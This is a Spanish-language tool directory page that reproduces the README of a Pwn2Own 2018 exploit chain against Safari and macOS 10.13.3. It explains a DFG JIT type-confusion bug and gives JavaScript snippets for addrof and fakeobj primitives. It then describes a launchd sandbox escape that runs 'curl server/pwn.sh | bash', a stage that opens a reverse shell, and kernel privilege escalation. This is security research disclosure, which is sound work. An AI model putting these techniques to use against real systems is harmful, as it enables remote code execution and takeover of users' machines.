Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pwn2own2018 — Una cadena de exploits de Pwn2Own | Kitploit
Herramientas/GitHubGitHub/saelo/pwn2own2018
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubsaelo/pwn2own2018

pwn2own2018

Una cadena de exploits de Pwn2Own

Ver Repositorio
75911269hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Pwn2Own 2018: Safari + macOS

RCE en Safari, escape de sandbox y LPE a kernel para macOS 10.13.3.

Uso

Instala nasm y tornado:

brew install nasm
pip3 install tornado

Revisa config.py si quieres cambiar el host o los puertos. Después inicia el servidor con ./server.py y navega a la URL mostrada.

Resumen

Esta cadena de exploits utiliza tres fallos diferentes para pasar de código JavaScript ejecutándose dentro de Safari a ejecución de código en modo kernel:

  1. Una optimización incorrecta en el compilador JIT DFG que puede usarse para provocar una confusión de tipos
  2. Comprobaciones de sandbox ausentes en launchd, que permiten a procesos sandboxeados lanzar procesos arbitrarios (sin sandbox)
  3. Un fallo lógico en XNU, que permite a un proceso sobrescribir el puerto bootstrap de sus procesos hijo, lo que conduce a una situación de MitM en IPC

La cadena de exploits está implementada en seis etapas, cada una en su propio subdirectorio:

  • stage0/: el exploit de WebKit
  • stage1/: el payload de la primera etapa escrito en ensamblador
  • stage2/: el payload de la segunda etapa para realizar el escape de sandbox
  • stage3/: scripts de shell para coordinar las etapas restantes
  • stage4/: un LPE para obtener root
  • stage5/: un LPE para obtener ejecución de código en kernel
  • libspc/: reimplementación del protocolo XPC, utilizado por las etapas 2, 4 y 5

Cada subdirectorio (con la excepción de libspc/) contiene un archivo llamado make.py que, al ejecutarse, realiza cualquier tipo de comando de compilación necesario y crea una lista de archivos que el servidor web debe servir.

Etapa 0

Objetivo: lograr la ejecución de shellcode dentro del proceso WebContent con sandbox
Fallos explotados: optimización incorrecta en el compilador JIT DFG
Ver también esta charla de BlackHat

El compilador JIT DFG representa el código JavaScript en su propia representación intermedia (IR), el Data Flow Graph (DFG). Normalmente, una expresión de JavaScript se traduce a una o varias instrucciones IR en este grafo. En el caso de una función constructora, se emite la instrucción CreateThis, que es la encargada de asignar el objeto this que construye la función. Como ejemplo, la función function Consructor() {}, cuando se llama con new, se traduciría aproximadamente a

v0 = CreateThis
return v0

Si observamos el AbstractInterpreter, podemos ver que el compilador JIT DFG asume que la operación CreateThis no provocará ningún efecto secundario aparte de una asignación en el heap. De hecho, este código:

function Constructor(obj) {
    return obj.x;
}

se traduciría aproximadamente a las siguientes instrucciones DFG: (Aquí, el StructureCheck fue movido al principio de la función por la TypeCheckHoistingPhase).

StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

Sin embargo, esa suposición no es válida, ya que el código de la ruta lenta de CreateThis puede ejecutar código JavaScript arbitrario en algunos casos. En particular, al usar un Proxy alrededor de la función real, el trap get para la propiedad "prototype" se invocará durante el manejador de la ruta lenta de CreateThis, ya que necesita obtener el objeto prototipo para el objeto construido:

function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* ejecutar JS aquí, modificar la estructura del objeto argumento, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Forzar la compilación JIT de ConstructorProxy

Por lo tanto, ahora es posible modificar la Structure de un objeto sin que el compilador JIT realice un bailout.

Este fallo puede utilizarse para construir las primitivas addrof y fakeobj de la siguiente manera:

addrof

Compilamos el código para el caso de un JSArray con elementos double sin empaquetar; luego, en el callback, realizamos la transición a elementos JSValue. Después, el código JIT cargará un JSValue del array, pero tratará esos bits como un double y nos los devolverá. El siguiente código asignará la dirección de leakme a la propiedad "address" del objeto construido.

function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Aquí esencialmente lo hacemos al revés: optimizamos el código para almacenar un double en un array con elementos double sin empaquetar y, de nuevo, hacemos la transición a elementos JSValue en el callback. El código continuará escribiendo nuestro double controlado en forma sin empaquetar en el almacenamiento subyacente. Cuando después accedamos a ese elemento del array, tratará esos bits como un JSValue en lugar de un double. El siguiente código escribirá el double sin empaquetar address en el búfer subyacente de a, que luego podemos leer como JSValue, lo que nos permite "inyectar" JSValues de nuestra elección en el motor.

function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

De este modo, terminamos con la capacidad de escribir un double y tratarlo como un puntero a JSObject, y viceversa. Esto puede explotarse como se describe en attacking javascript engines.

El exploit primero consigue lectura/escritura de memoria arbitraria del proceso falsificando un Float64Array, luego busca la región JIT (mapeada RWX) y escribe el shellcode de la etapa 1 allí.

Etapa 1

Objetivo: arrancar la etapa 2 escribiendo un .dylib en disco y cargándolo mediante dlopen()

Un payload corto en ensamblador que esencialmente hace lo siguiente:

  1. Llama a confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) para obtener una ruta a un directorio escribible
  2. Crea un nuevo archivo llamado 'x.dylib' en el directorio escribible
  3. Escribe el dylib de la etapa 2 en el archivo recién creado
  4. Carga el dylib en el proceso WebContent mediante dlopen()

Etapa 2

Objetivo: salir de la sandbox
Fallo explotado: comprobaciones de sandbox ausentes en la API "legacy_spawn" de launchd
Ver también esta charla

Launchd expone el endpoint RPC "legacy_spawn" como rutina 817 en el subsistema 3. Esta API no valida si al invocador se le debería permitir lanzar procesos y simplemente ejecutará con execve cualquier binario del sistema para el invocador con argumentos controlados. Dado que launchd es alcanzable a través del puerto bootstrap, esto hace posible escapar de la sandbox.

El exploit esencialmente ejecuta curl server/pwn.sh | bash y así pasa el control a la etapa 3.

Etapa 3

Objetivo: abrir la calculadora y arrancar las etapas restantes

Esto ejecuta open /Applications/Calculator.app y establece una reverse shell; después obtiene todos los archivos necesarios para las etapas restantes y ejecuta los exploits.

Etapa 4

Objetivo: obtener root mediante un exploit LPE
Fallo explotado: MitM en el puerto bootstrap de XNU
Ver también esta charla POC

Descargar herramienta